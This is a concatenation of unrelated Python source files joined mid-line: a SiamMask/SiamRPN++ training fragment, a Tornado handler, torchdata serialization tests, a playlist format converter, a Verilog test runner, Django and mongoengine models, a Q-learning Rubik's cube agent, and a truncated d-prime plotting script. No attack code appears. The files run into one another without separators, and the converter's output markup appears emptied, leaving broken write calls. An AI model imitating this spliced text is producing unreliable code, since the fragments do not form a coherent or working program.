y_grid = np.mgrid[-127:127:255j, -127:127:255j] # x_tensor = torch.tensor(x_grid).repeat([BatchSize,1,1]) - delta_center_h.reshape([BatchSize,1,1]) # y_tensor = torch.tensor(y_grid).repeat([BatchSize,1,1]) - delta_center_w.reshape([BatchSize,1,1]) # # sigma = 120 # guass_mask = 1 / (2 * np.pi * (sigma ** 2)) * \ # torch.exp(-((x_tensor) ** 2 + (y_tensor) ** 2) / (2 * sigma ** 2)) # # wight = 0.005 # guass_mask = (guass_mask/torch.max(guass_mask)).to(search.device).float().unsqueeze(1) # search_weighted = search*(1+wight*guass_mask) # # # import matplotlib.pyplot as plt # # a = guass_mask[0] # # plt.figure(1) # # plt.imshow(a) # # # # b = search.detach().cpu().numpy().transpose([0,2,3,1]) # # plt.figure(2) # # plt.imshow(b[0].astype(np.uint8)) # # plt.show() _, xf = self.template(search) # search_weighted _, zf = self.template(template) proposals_bbox_ = proposals_bbox[0,:,0,:] if cfg.MASK.MASK: # SiamMask: output = self.refine_module.forward_train(zf, xf, proposals_bbox_, search_bbox) else: # SiamRPN++ output = self.refine_module.forward_train(zf[-1], xf[-1], proposals_bbox_, search_bbox) return{'loss': output['loss_reg'] + output['loss_iou'], 'loss_reg': output['loss_reg'], 'loss_iou': output['loss_iou']} # coding=utf-8 from tornado.web import authenticated from tornado.log import access_log as weblog from handlers.base_handler import BaseHandler class HomeHandler(BaseHandler): @authenticated def get(self): weblog.info("%s , get home(base) html.",self._request_summary()) self.render("base.html")# Copyright (c) Meta Platforms, Inc. and affiliates. # All rights reserved. # # This source code is licensed under the BSD-style license found in the # LICENSE file in the root directory of this source tree. import os import pickle import unittest import warnings from functools import partial from io import StringIO from operator import itemgetter from typing import List import expecttest import torchdata.datapipes.iter as iterdp from _utils._common_utils_for_test import create_temp_dir, create_temp_files from torch.utils.data.datapipes.utils.common import DILL_AVAILABLE from torchdata.datapipes.iter import IterableWrapper from torchdata.datapipes.map import SequenceWrapper if DILL_AVAILABLE: import dill dill.extend(use_dill=False) try: import fsspec except ImportError: fsspec = None try: import iopath except ImportError: iopath = None try: import subprocess import rarfile try: rarfile.tool_setup() subprocess.run(("rar", "-?"), check=True) except (rarfile.RarCannotExec, subprocess.CalledProcessError): rarfile = None except (ModuleNotFoundError, FileNotFoundError): rarfile = None try: import torcharrow import torcharrow.dtypes as dt DTYPE = dt.Struct([dt.Field("Values", dt.int32)]) except ImportError: torcharrow = None dt = None DTYPE = None def _fake_batch_fn(batch): return [d + 1 for d in batch] def _fake_fn_ls(x): return [x, x] def _filepath_fn(name: str, dir) -> str: return os.path.join(dir, os.path.basename(name)) def _filter_by_module_availability(datapipes): filter_set = set() if fsspec is None: filter_set.update([iterdp.FSSpecFileLister, iterdp.FSSpecFileOpener, iterdp.FSSpecSaver]) if iopath is None: filter_set.update([iterdp.IoPathFileLister, iterdp.IoPathFileOpener, iterdp.IoPathSaver]) if rarfile is None: filter_set.update([iterdp.RarArchiveLoader]) if torcharrow is None or not DILL_AVAILABLE: filter_set.update([iterdp.DataFrameMaker, iterdp.ParquetDataFrameLoader]) return [dp for dp in datapipes if dp[0] not in filter_set] class TestIterDataPipeSerialization(expecttest.TestCase): def setUp(self): self.temp_dir = create_temp_dir() self.temp_files = create_temp_files(self.temp_dir) self.temp_sub_dir = create_temp_dir(self.temp_dir.name) self.temp_sub_files = create_temp_files(self.temp_sub_dir, 4, False) def tearDown(self): try: self.temp_sub_dir.cleanup() self.temp_dir.cleanup() except Exception as e: warnings.warn(f"TestIterDataPipeSerialization was not able to cleanup temp dir due to {e}") def _serialization_test_helper(self, datapipe): serialized_dp = pickle.dumps(datapipe) deserialized_dp = pickle.loads(serialized_dp) try: self.assertEqual(list(datapipe), list(deserialized_dp)) except AssertionError as e: print(f"{datapipe} is failing.") raise e def _serialization_dataframe_test_helper(self, datapipe): serialized_dp = pickle.dumps(datapipe) deserialized_dp = pickle.loads(serialized_dp) for df1, df2 in zip(datapipe, deserialized_dp): for exp, act in zip(df1, df2): self.assertEqual(exp, act) def _serialization_test_for_single_dp(self, dp, is_dataframe=False): test_helper_fn = self._serialization_dataframe_test_helper if is_dataframe else self._serialization_test_helper # 1. Testing for serialization before any iteration starts test_helper_fn(dp) # 2. Testing for serialization afterDataPipe is partially read it = iter(dp) _ = next(it) test_helper_fn(dp) # 3. Testing for serialization after DataPipe is fully read _ = list(it) test_helper_fn(dp) def _serialization_test_for_dp_with_children(self, dp1, dp2): # 1. Testing for serialization before any iteration starts self._serialization_test_helper(dp1) self._serialization_test_helper(dp2) # 2. Testing for serialization after DataPipe is partially read it1, it2 = iter(dp1), iter(dp2) _, _ = next(it1), next(it2) self._serialization_test_helper(dp1) self._serialization_test_helper(dp2) # 2.5. Testing for serialization after one child DataPipe is fully read # (Only for DataPipes with children DataPipes) _ = list(it1) # fully read one child self._serialization_test_helper(dp1) self._serialization_test_helper(dp2) # 3. Testing for serialization after DataPipe is fully read _ = list(it2) # fully read the other child self._serialization_test_helper(dp1) self._serialization_test_helper(dp2) def test_serializable(self): picklable_datapipes: List = [ (iterdp.BatchMapper, IterableWrapper([(0, 0), (0, 0), (0, 0), (0, 0)]), (_fake_batch_fn, 2, 1), {}), (iterdp.BucketBatcher, IterableWrapper([0, 0, 0, 0, 0, 0, 0]), (5,), {}), (iterdp.Bz2FileLoader, None, (), {}), ( iterdp.CSVDictParser, IterableWrapper( [("f1", StringIO("Label,1,1\nLabel,2,2\nLabel,3,3")), ("f2", StringIO("L,1,1\r\nL,2,2\r\nL,3,3"))] ), (), {}, ), ( iterdp.CSVParser, IterableWrapper( [("f1", StringIO("Label,1,1\nLabel,2,2\nLabel,3,3")), ("f2", StringIO("L,1,1\r\nL,2,2\r\nL,3,3"))] ), (), {}, ), (iterdp.Cycler, None, (2,), {}), (iterdp.DataFrameMaker, IterableWrapper([(i,) for i in range(3)]), (), {"dtype": DTYPE}), (iterdp.Decompressor, None, (), {}), (iterdp.Enumerator, None, (2,), {}), (iterdp.FlatMapper, None, (_fake_fn_ls,), {}), (iterdp.FSSpecFileLister, ".", (), {}), (iterdp.FSSpecFileOpener, None, (), {}), ( iterdp.FSSpecSaver, IterableWrapper([("1.txt", b"DATA1"), ("2.txt", b"DATA2"), ("3.txt", b"DATA3")]), (), {"mode": "wb", "filepath_fn": partial(_filepath_fn, dir=self.temp_dir.name)}, ), (iterdp.GDriveReader, None, (), {}), (iterdp.HashChecker, None, ({},), {}), (iterdp.Header, None, (3,), {}), (iterdp.HttpReader, None, (), {}), # TODO (ejguan): Deterministic serialization is required # (iterdp.InBatchShuffler, IterableWrapper(range(10)).batch(3), (), {}), (iterdp.InMemoryCacheHolder, None, (), {}), (iterdp.IndexAdder, IterableWrapper([{"a": 1, "b": 2}, {"c": 3, "a": 1}]), ("label",), {}), (iterdp.IoPathFileLister, ".", (), {}), (iterdp.IoPathFileOpener, None, (), {}), ( iterdp.IoPathSaver, IterableWrapper([("1.txt", b"DATA1"), ("2.txt", b"DATA2"), ("3.txt", b"DATA3")]), (), {"mode": "wb", "filepath_fn": partial(_filepath_fn, dir=self.temp_dir.name)}, ), ( iterdp.IterKeyZipper, IterableWrapper([("a", 100), ("b", 200), ("c", 300)]), (IterableWrapper([("a", 1), ("b", 2), ("c", 3)]), itemgetter(0), itemgetter(0)), {}, ), ( iterdp.JsonParser, IterableWrapper( [ ("1.json", StringIO('["fo", {"ba":["baz", null, 1.0, 2]}]')), ("2.json", StringIO('{"__cx__": true, "r": 1, "i": 2}')), ] ), (), {}, ), ( iterdp.LineReader, IterableWrapper( [("file1", StringIO("Line1\nLine2")), ("file2", StringIO("Line2,1\r\nLine2,2\r\nLine2,3"))] ), (), {}, ), ( iterdp.MaxTokenBucketizer, IterableWrapper(["1", "22", "1", "4444", "333", "1", "22", "22", "333"]), (4,), {}, ), ( iterdp.MapKeyZipper, IterableWrapper([("a", 1), ("b", 2), ("c", 3)]), (SequenceWrapper({"a": 100, "b": 200, "c": 300}), itemgetter(0)), {}, ), (iterdp.OnDiskCacheHolder, None, (), {}), (iterdp.OnlineReader, None, (), {}), ( iterdp.ParagraphAggregator, IterableWrapper([("f1", "L1"), ("f1", "L2"), ("f2", "21"), ("f2", "22")]), (), {}, ), (iterdp.ParquetDataFrameLoader, None, (), {"dtype": DTYPE}), (iterdp.RarArchiveLoader, None, (), {}), ( iterdp.Rows2Columnar, IterableWrapper([[{"a": 1}, {"b": 2, "a": 1}], [{"a": 1, "b": 200}, {"c": 3}]]), (), {}, ), (iterdp.SampleMultiplexer, {IterableWrapper([0] * 10): 0.5, IterableWrapper([1] * 10): 0.5}, (), {}), ( iterdp.Saver, IterableWrapper([("1.txt", b"DATA1"), ("2.txt", b"DATA2"), ("3.txt", b"DATA3")]), (), {"mode": "wb", "filepath_fn": partial(_filepath_fn, dir=self.temp_dir.name)}, ), (iterdp.TarArchiveLoader, None, (), {}), (iterdp.TFRecordLoader, None, (), {}), (iterdp.UnZipper, IterableWrapper([(i, i + 10) for i in range(10)]), (), {"sequence_length": 2}), (iterdp.XzFileLoader, None, (), {}), (iterdp.ZipArchiveLoader, None, (), {}), ] picklable_datapipes = _filter_by_module_availability(picklable_datapipes) # Skipping value comparison for these DataPipes # Most of them return streams not comparable by `self.assertEqual` # Others are similar to caching where the outputs depend on other DataPipes dp_skip_comparison = { iterdp.Bz2FileLoader, iterdp.Decompressor, iterdp.FileOpener, iterdp.FSSpecFileOpener, iterdp.GDriveReader, iterdp.IoPathFileOpener, iterdp.HashChecker, iterdp.HttpReader, iterdp.OnDiskCacheHolder, iterdp.OnlineReader, iterdp.ParquetDataFrameLoader, iterdp.SampleMultiplexer, iterdp.RarArchiveLoader, iterdp.TarArchiveLoader, iterdp.TFRecordLoader, iterdp.XzFileLoader, iterdp.ZipArchiveLoader, } # These DataPipes produce multiple DataPipes as outputs and those should be compared dp_compare_children = {iterdp.UnZipper} for dpipe, custom_input, dp_args, dp_kwargs in picklable_datapipes: try: # Creating input (usually a DataPipe) for the specific dpipe being tested if custom_input is None: custom_input = IterableWrapper(range(10)) if dpipe in dp_skip_comparison: # Mke sure they are picklable and loadable (no value comparison) datapipe = dpipe(custom_input, *dp_args, **dp_kwargs) # type: ignore[call-arg] serialized_dp = pickle.dumps(datapipe) _ = pickle.loads(serialized_dp) elif dpipe in dp_compare_children: # DataPipes that have children dp1, dp2 = dpipe(custom_input, *dp_args, **dp_kwargs) # type: ignore[call-arg] self._serialization_test_for_dp_with_children(dp1, dp2) else: # Single DataPipe that requires comparison datapipe = dpipe(custom_input, *dp_args, **dp_kwargs) # type: ignore[call-arg] is_dataframe = issubclass(dpipe, (iterdp.DataFrameMaker, iterdp.ParquetDataFrameLoader)) self._serialization_test_for_single_dp(datapipe, is_dataframe=is_dataframe) except Exception as e: print(f"{dpipe} is failing.") raise e def test_serializable_with_dill(self): """Only for DataPipes that take in a function as argument""" input_dp = IterableWrapper(range(10)) ref_idp = IterableWrapper(range(10)) ref_mdp = SequenceWrapper(range(10)) unpicklable_datapipes: List = [ (iterdp.BatchMapper, (lambda batch: [d + 1 for d in batch], 2), {}), (iterdp.FlatMapper, (lambda x: [x, x],), {}), (iterdp.IterKeyZipper, (ref_idp, lambda x: x, None, True, 100), {}), (iterdp.MapKeyZipper, (ref_mdp, lambda x: x), {}), (iterdp.OnDiskCacheHolder, (lambda x: x,), {}), (iterdp.ParagraphAggregator, (lambda x: x,), {}), ] # Skipping value comparison for these DataPipes dp_skip_comparison = {iterdp.OnDiskCacheHolder, iterdp.ParagraphAggregator} for dpipe, dp_args, dp_kwargs in unpicklable_datapipes: if DILL_AVAILABLE: try: if dpipe in dp_skip_comparison: # Make sure they are picklable/loadable (no value comparison) datapipe = dpipe(input_dp, *dp_args, **dp_kwargs) # type: ignore[call-arg] serialized_dp = dill.dumps(datapipe) _ = dill.loads(serialized_dp) else: datapipe = dpipe(input_dp, *dp_args, **dp_kwargs) # type: ignore[call-arg] self._serialization_test_for_single_dp(datapipe) except Exception as e: print(f"{dpipe} is failing.") raise e else: dp_no_attribute_error = (iterdp.OnDiskCacheHolder,) try: with warnings.catch_warnings(record=True) as wa: datapipe = dpipe(input_dp, *dp_args, **dp_kwargs) # type: ignore[call-arg] self.assertEqual(len(wa), 1) self.assertRegex(str(wa[0].message), r"^Lambda function is not supported for pickle") if isinstance(datapipe, dp_no_attribute_error): _ = pickle.dumps(datapipe) else: with self.assertRaises(AttributeError): _ = pickle.dumps(datapipe) except Exception as e: print(f"{dpipe} is failing.") raise e class TestMapDataPipeSerialization(expecttest.TestCase): def test_serializable(self): pass def test_serializable_with_dill(self): """Only for DataPipes that take in a function as argument""" pass if __name__ == "__main__": unittest.main() import os #Make a list of .smpl files in working directory path = "./" file_list = os.listdir(path) file_list_smpl = [file for file in file_list if file.endswith(".smpl")] for filename in file_list_smpl: smpl = open(filename, 'r', encoding='utf-8') data = smpl.read() splitdata = data.split('"info":"') del splitdata[0] finaldata = [] for dat in splitdata: temp = dat.split('"') name = temp[0] #Change music file path info name = name.replace("/storage/emulated/0/","D:/") #Handling special characters, .smpl uses unicode, but .zpl uses html entitiy code # Converting unicode to entitiy code # & name = name.replace("\\u0026","&") # ' name = name.replace("\\u0027","'") finaldata.append(name) amount = len(finaldata) temp_name = filename temp_name_list = temp_name.split('.smpl') zpl = open(temp_name_list[0] + ".zpl", 'w', encoding='utf-8') zpl.write(''' '''+temp_name_list[0]+''' \n''') for data in finaldata: zpl.write(''' \n''') zpl.write(''' ''') smpl.close() zpl.close()0 """ Copyright 2022 AUC Open Source Hardware Lab Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at: http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import os dir_list = [ "chacha", # passed "regfile", # passed "AHB_SRAM", # passed "blake2s", # passed "blake2s_core", # passed "blake2s_G", # passed "blake2s_m_select", # passed ] for test in dir_list: print(test) # os.system('iverilog -o designs/'+test+'/'+test+'.vvp designs/'+test+'/'+test+'.v designs/'+test+'/'+test+'_tb.v') # os.system('vvp designs/'+test+'/'+test+'.vvp ') # print("\n /////////////////////////////////////////////////// \n /////////////////////////////////////////////////// \n /////////////////////////////////////////////////// \n") # os.system('iverilog -o designs/'+test+'/before.vvp designs/'+test+'/before_gl.v designs/'+test+'/'+test+'_tb.v') # os.system('vvp designs/'+test+'/before.vvp') print("\n /////////////////////////////////////////////////// \n /////////////////////////////////////////////////// \n /////////////////////////////////////////////////// \n") os.system('iverilog -o designs/'+test+'/after.vvp designs/'+test+'/after_gl.v designs/'+test+'/'+test+'_tb.v') os.system("vvp designs/" + test + "/after.vvp") failed_grep = os.popen("vvp designs/" + test + "/after.vvp | grep -c FAILED") failed_grep = failed_grep.read() print(failed_grep) assert int(failed_grep) == 0 print("\n /////////////////////////////////////////////////// \n /////////////////////////////////////////////////// \n /////////////////////////////////////////////////// \n") from django.apps import AppConfig class SuspectsConfig(AppConfig): name = 'suspects' from mongoengine import BooleanField from mongoengine import DateTimeField from mongoengine import Document from mongoengine import EmbeddedDocument from mongoengine import EmbeddedDocumentField from mongoengine import ListField from mongoengine import ReferenceField from mongoengine import StringField class User(Document): email = StringField(required=True, max_length=50) first_name = StringField(max_length=50) last_name = StringField(max_length=50) def __unicode__(self): return self.email class EmbeddedUser(EmbeddedDocument): email = StringField(required=True, max_length=50) first_name = StringField(max_length=50) last_name = StringField(max_length=50) class Comment(EmbeddedDocument): content = StringField() name = StringField(max_length=120) class Post(Document): # See Post.title.max_length to make validation better! title = StringField(max_length=120, required=True) author = ReferenceField(User) content = StringField() tags = ListField(StringField(max_length=30)) comments = ListField(EmbeddedDocumentField(Comment)) pub_date = DateTimeField() published = BooleanField() creator = EmbeddedDocumentField(EmbeddedUser) # for testing purposes import random import time import pickle from pathlib import Path import numpy as np import itertools import cube_sim import datetime class ApproximateQAgent: """ ApproximateQLearningAgent """ def __init__( self, numTraining=100, epsilon=0.9, alpha=0.01, gamma=0.9, e_decay=0.00001 ): """ alpha - learning rate epsilon - exploration rate gamma - discount factor numTraining - number of training episodes, i.e. no learning after these many episodes """ self.numTraining = int(numTraining) self.epsilon = float(epsilon) self.e_decay = float(e_decay) self.alpha = float(alpha) self.discount = float(gamma) # self.stateCounter = dict() self.episodeRewards = 0 self.metadata = dict() self.weights = { "b": 0.1, "one_color_face": 0.1, "two_color_face": 0.1, "three_color_face": 0.1, "four_color_face": 0.1, "front_top": 0.1, "front_bottom": 0.1, "front_left": 0.1, "front_right": 0.1, "front_back": 0.1, "top_bottom": 0.1, "top_left": 0.1, "top_right": 0.1, "top_back": 0.1, "bottom_left": 0.1, "bottom_right": 0.1, "bottom_back": 0.1, "left_right": 0.1, "left_back": 0.1, "right_back": 0.1, "full_layers": 0.1, } # self.qvalues = dict() def isGoal(self, state): if len(self.getActions(state)) == 0: return True return False def getActions(self, state): feat = self.getFeatures(state) if feat["one_color_face"] == 6: return list() return state.al def getFeatures(self, state, action=None): """ Return features of the cube state after action """ # create a copy to perform action on to get new features after action stateCopy = state.copy() if action is not None: # perform action on copy action(stateCopy) feat_vector = dict() feat_vector["full_layers"] = 0 # Counts of colors per face tot_cpf = 0 one_color_face = 0 two_color_face = 0 three_color_face = 0 four_color_face = 0 for face in stateCopy.faces: # calc colors per face num_col = len(np.unique(stateCopy.faces[face])) tot_cpf += num_col # Add 1/color for that face to feature vector # feat_vector[f'inv_cpf_{face}'] = (1/num_col) # get total single colored faces if num_col == 1: one_color_face += 1 full_layer = 1 for adj in stateCopy.adjacent[face]: if len(np.unique(adj)) > 1: full_layer = 0 break feat_vector["full_layers"] += full_layer elif num_col == 2: two_color_face += 1 elif num_col == 3: three_color_face += 1 elif num_col == 4: four_color_face += 1 else: return print("ERROR IN FEATURE CREATION") feat_vector["one_color_face"] = one_color_face feat_vector["two_color_face"] = two_color_face feat_vector["three_color_face"] = three_color_face feat_vector["four_color_face"] = four_color_face # Unique colors amongst paired faces for i in itertools.combinations(stateCopy.faces, r=2): feat_vector[i[0] + "_" + i[1]] = 1 / len( np.unique(np.append(stateCopy.faces[i[0]], stateCopy.faces[i[1]])) ) # Adjacent pair check feat_vector["b"] = 1 return feat_vector def getWeights(self): return self.weights def getQ(self, state, action): """ Should return Q(state,action) = w * featureVector where * is the dotProduct operator """ # Get dictionary of features featureVector = self.getFeatures(state, action) # Get dictionary mapping features to weights weightVector = self.getWeights() sum = 0 # For each feature in the feature vector, multiply by the # weights and get the sum as the approximate q-value for feature in featureVector: sum += weightVector[feature] * featureVector[feature] return sum def getPolicy(self, state): # Get list of actions actions = self.getActions(state) # Compute Q-values for each possible action and take max # max Q(s',a') max_action = [(None, -999999)] for action in actions: # get current qvalue of s from taking action val = self.getQ(state, action) # if the current action has a higher qval than the current max, # replace current max/action if (max_action[0][0] is None) or (val > max_action[0][1]): max_action = [(action, val)] # if the current action has a qval equal to the current max, # add the action/qval to a list to randomly choose from elif val == max_action[0][1]: max_action.append((action, val)) # if more than one action results in max qvalue - choose one randomly action_to_return = random.choice(max_action)[0] return action_to_return def getQPrime(self, state): # Initialize to zero - return zero if no legal actions max_action = 0 # Get legal actions actions = self.getActions(state) # If there are legal actions, reset max_action to very negative number # and get max q-value for the set of actions if len(actions) > 0: max_action = -99999999 for action in actions: Qval = self.getQ(state, action) if Qval > max_action: max_action = Qval return max_action def getAction(self, state): """ Compute the action to take in the current state. With probability self.epsilon, we should take a random action and take the best policy action otherwise. Note that if there are no legal actions, which is the case at the terminal state, you should choose None as the action. """ # Pick Action actions = self.getActions(state) action = None # Epsilon decay if self.epsilon > 0.1: self.epsilon = self.epsilon ** (1 + self.e_decay) # With prob epsilon, take a random action if len(actions) > 0: # Boolean to decide if taking a random action or not take_random = random.random() < self.epsilon if take_random is True: action = random.choice(actions) else: action = self.getPolicy(state) return action def getRewards(self, state): if self.isGoal(state): return 1000.0 else: living_tax = 1 fl = self.getFeatures(state)["full_layers"] * 10 ocf = self.getFeatures(state)["one_color_face"] * 6 twcf = self.getFeatures(state)["two_color_face"] * 3 thcf = self.getFeatures(state)["three_color_face"] * 1 reward = fl + ocf + twcf + thcf - living_tax return reward def update(self, state, action, nextState, reward): # w_i = w_i + learning_rate * difference * f_i(s,a) # difference = [R + discount * max Q(s',a')] - Q(s,a) difference = (reward + self.discount * self.getQPrime(nextState)) - self.getQ( state, action ) featureVector = self.getFeatures(state, action) for feature in featureVector: self.weights[feature] = ( self.weights[feature] + self.alpha * difference * featureVector[feature] ) # Normalize to prevent divergence max_weight = max(self.weights.values()) for feature in self.weights: self.weights[feature] / max_weight def getNextState(self, state, action): # create a copy to perform action on to get new features after action stateCopy = state.copy() # perform action on copy action(stateCopy) return stateCopy def save(self, fname, outpath=None): if outpath is not None: print(f"Saving agent to {outpath}") with open(outpath / f"{fname}.agent", "wb") as f: pickle.dump(self, f) else: print("Saving agent to working directory") with open(f"{fname}.agent", "wb") as f: pickle.dump(self, f) def load(self, fname, inpath=None): try: if inpath is not None: print(f"Loading agent from {inpath}") with open(inpath / f"{fname}.agent", "rb") as f: return pickle.load(f) # self = pickle.load(f) else: print("Loading agent from working directory") with open(f"{fname}.agent", "rb") as f: return pickle.load(f) except: print("File Not Found") def train(self, save_prefix="mdl_", moves_per_ep=1000): print("Starting Training") start = time.time() if len(self.metadata) > 1: start_sess = max([int(i[3:]) for i in self.metadata.keys()]) else: start_sess = 1 # for number of sessions for sess in range(start_sess, start_sess + self.numTraining + 1): self.episodeRewards = 0 train_start = time.time() # Instantiate and randomize cube c = cube_sim.cube() c.randomize() # while goal state is false, continue updating weights move = 0 reward = -0.1 while (not self.isGoal(c)) and (move < moves_per_ep): action = self.getAction(c) nextState = self.getNextState(c, action) reward = self.getRewards(c) self.update(c, action, nextState, reward) c = nextState self.episodeRewards += reward if self.isGoal(c): print("\nGOAL !!!!") print("\nTraining Session {}\nTraining Move: {}".format(sess, move)) print(datetime.datetime.now()) # if nextState is goal add the rewards from the goal state self.episodeRewards += self.getRewards(c) c.showCube() move += 1 # Save model after each completed training episode if sess % 5 == 0: print("\nOn Training Session:", sess) print("Total Running Time: ", time.time() - start) print(datetime.datetime.now()) print("Epsilon", self.epsilon) print("Saving model") self.save( fname=f"{save_prefix}_episode_{sess}", outpath=Path("./output") ) self.metadata[f"ep_{sess}"] = { "MovesToGoal": move - 1, "EpisodeRewards": self.episodeRewards, "Weights": self.weights, "TotalRunTime": time.time() - start, "EpisodeRunTime": time.time() - train_start, "EndEpsilon": self.epsilon, } def solve( self, state, max_moves=10000, verbose=False, move_update=5000, ret_moves=False ): c = state.copy() print("Starting State:") start = time.time() c.showCube() move_list = [] solved = 0 move = 0 while (self.isGoal(c) is False) and (move < max_moves): if move % move_update == 0: print("\nOn Move", move) print("Run time:", time.time() - start) if verbose is True: print("verbose = true") c.showCube() action = self.getPolicy(c) nextState = self.getNextState(c, action) c = nextState if ret_moves is True: move_list.append(action) move += 1 runtime = time.time() - start if self.isGoal(c): solved = 1 print("SOLVED:") print("\nOn Move", move) else: print("Hit max moves:", max_moves) print("Total Run time:", runtime) print(datetime.datetime.now()) to_ret = move, runtime, solved, c if ret_moves is True: return move_list, to_ret return to_ret class evaluator: def __init__(self, agent, numIterations=100): self.numIterations = int(numIterations) self.eval_data = dict() self.agent = agent def run(self, save_prefix="eval_", max_moves=100): # For num of iterations, solve cubes and record info print("Begin Evaluation") if len(self.eval_data) > 1: start_sess = max([int(i[4:]) for i in self.eval_data.keys()]) else: start_sess = 1 # for number of sessions for iter in range(start_sess, start_sess + self.numIterations + 1): print("Starting iteration", iter) c = cube_sim.cube() c.randomize() startCube = c.copy() moves, runtime, solved, endCube = self.agent.solve( c, max_moves=max_moves, verbose=False, move_update=6000 ) self.eval_data[f"iter{iter}"] = { "MovesInIter": moves, "TimeToRun": runtime, "Solved": solved, "StartCube": startCube, "EndCube": endCube, } if iter % 100 == 0: self.save(fname=f"{save_prefix}iter_{iter}", outpath=Path("./output")) def save(self, fname, outpath=None): if outpath is not None: print(f"Saving eval to {outpath}") with open(outpath / f"{fname}.eval", "wb") as f: pickle.dump(self, f) else: print("Saving eval to working directory") with open(f"{fname}.eval", "wb") as f: pickle.dump(self, f) def load(self, fname, inpath=None): try: if inpath is not None: print(f"Loading eval from {inpath}") with open(inpath / f"{fname}.eval", "rb") as f: return pickle.load(f) else: print("Loading eval from working directory") with open(f"{fname}.eval", "rb") as f: return pickle.load(f) except: print("File Not Found") # a = ApproximateQAgent(numTraining=10, epsilon=.75, alpha=0.1, gamma=.9, e_decay=.00001) # a.train() scripts/plot dprimes.py # -*- coding: utf-8 -*- """ Created on Wed Oct 17 08:18:10 2018 @author: ning """ import os import pandas as pd import numpy as np import seaborn as sns from glob import glob import utils sns.set_style('whitegrid') sns.set_context('poster') import matplotlib.pyplot as plt working_dir = '../results/dprime' def split(x): a,b = x.split('_') awareness,pos = a.split('aw') if len(awareness) == 0: awareness = 0 else: awareness = 1 if 'high' in pos: pos = 1 else: pos = 0 return awareness,pos,b df = [] for f in glob(os.path.join(working_dir,'*.csv')): df_sub = pd.read_csv(f) columns = list(df_sub.columns) df_sub['sub'] = df_sub[columns[0]] temp = pd.melt(df_sub,id_vars='sub', value_vars=columns[1:]) awareness, pos, dprimetype = [],[],[] for ii,row in temp.iterrows(): awareness_,pos_,dprime_ = split(row['variable']) awareness.append(awareness_) pos.append(pos_) dprimetype.append(dprime_) temp['awareness'] = awareness temp['Rating'] = pos temp['dprime_type'] = dprimetype temp['Experiment'] = f.split('_')[0].split('\\')[-1][:3] df.append(temp) df = pd.concat(df) df['Experiment'] = df['Experiment'].map({'ATT':"Attention decision", 'PoS':"Belief of success"}) df_plot = [] for experiment in pd.unique(df['Experiment']): df_sub = df[df['Experiment'] == experiment] df_sub['awareness'] = df_sub['awareness'].map({1:'Unaware',0:'Aware'}) df_sub['Rating'] = df_sub['Rating'].map({0:'Low {}'.format(experiment.lower()), 1:'High {}'.format(experiment.lower())}) df_sub['legend'] = df_sub['awareness'] + ', ' + df_sub['Rating'] df_plot.append(df_sub) df_plot = pd.concat(df_plot) df_plot['dprime_type'] = df_plot['dprime_type'].map({'dprime':"d'", 'metadprime':"Meta-d'"}) results = dict( dprime_type = [], experiment = [], ps_mean = [], ps_std = [], high_aware = [], low_aware = [], ) for (dpr,exp),df_sub in df_plot.groupby(['dprime_type','Experiment']): df_sub df_high_awe = df_sub[df_sub['awareness'] == 'Aware'].sort_values(['sub','variable','Rating',]) df_low_awe = df_sub[df_sub['awareness'] == 'Unaware'].sort_values(['sub','variable','Rating',]) ps = utils.resample_ttest_2sample(df_high_awe['value'].values, df_low_awe['value'].values, n_ps = 100, n_permutation = 5000) results['dprime_type'].append(dpr) results['experiment'].append(exp) results['ps_mean'].append(ps.mean()) results['ps_std'].append(ps.std()) results['high_aware'].append(df_high_awe['value'].values.mean()) results['low_aware'].append(df_low_awe['value'].values.mean()) results = pd.DataFrame(results) results = results.sort_values('ps_mean') converter = utils.MCPConverter(pvals = results['ps_mean'].values) d = converter.adjust_many() results['p_corrected'] = d['bonferroni'].values results['stars'] = results['p_corrected'].apply(utils.stars) for experiment in pd.unique(df_plot['Experiment']): results_sub = results[results['experiment'] == experiment] g = sns.catplot(x = 'awareness', y = 'value', hue = 'Rating', col = 'dprime_type', # row = 'Experiment', data = df_plot[df_plot['Experiment'] == experiment], aspect = 2, kind = 'bar', legend_out = False, ) (g.set_axis_labels("Awareness","Sensitivity") .set_titles("{col_name}") # .fig.suptitle('Experiment {}'.format(experiment), # y=1.03) ) g.axes.flatten()[0].get_legend().set_title('') g.set(ylim=(0,7)) ax_d = g.axes.flatten()[0] ax_metad = g.axes.flatten()[1] y_start = 3 ax_d.hlines(y_start,0,1) ax_d.vlines(0,y_start-0.5,y_start) ax_d.vlines(1,y_start-0.5,y_start) ax_d.annotate(results_sub[results_sub['dprime_type'] == "d'"]['stars'].values[0], xy = ((0+1)/2-0.005,y_start+0.001)) if experiment == 'Attention decision': # aware ax_metad.hlines(y_start,-0.2,0.2) ax_metad.vlines(-0.2,y_start-0.5,y_start) ax_metad.vlines(0.20,y_start-0.5,y_start) ax_metad.annotate('*',xy = ((-0.25+0.25)/2-0.005,y_start+0.1)) # unaware ax_metad.hlines(y_start,0.8,1.2) ax_metad.vlines(0.8,y_start-0.5,y_start) ax_metad.vlines(1.20,y_start-0.5,y_start) ax_metad.annotate('n.s.',xy = ((0.75+1.15)/2-0.005,y_start+0.1)) ax_metad.annotate('***',xy = (0.75,1.7)) ax_metad.annotate('**',xy = (1.15,1.7)) else: ax_metad.hlines(y_start,0,1) ax_metad.vlines(0,y_start-0.5,y_start) ax_metad.vlines(1,y_start-0.5,y_start) ax_metad.annotate(results_sub[results_sub['dprime_type'] == "Meta-d'"]['stars'].values[0], xy = ((0+1)/2-0.005,y_start+0.1)) g.savefig('../figures/dprime,metadprime,{}.png'.format(experiment), dpi = 500, bbox_inches='tight') df_plot['Experiment'] = df_plot['Experiment'].map({'Attention decision':'Exp.2.', 'Belief of success':'Exp.1.'}) results['experiment'] = results['experiment'].map({'Attention decision':'Exp.2.', 'Belief of success':'Exp.1.'}) fig,axes = plt.subplots(figsize=(15,10),nrows = 2, ncols = 2,sharey = True) df_plot = df_plot.sort_values(['Experiment','dprime_type']) y_start = 3 for ii,(((experiment,dtype),df_sub),ax) in enumerate(zip(df_plot.groupby(['Experiment','dprime_type']),axes.flatten())): ax = sns.barplot(x = 'awareness', y = 'value', hue = 'Rating', data = df_sub, ax = ax) idx = np.logical_and(results['experiment'] == experiment, 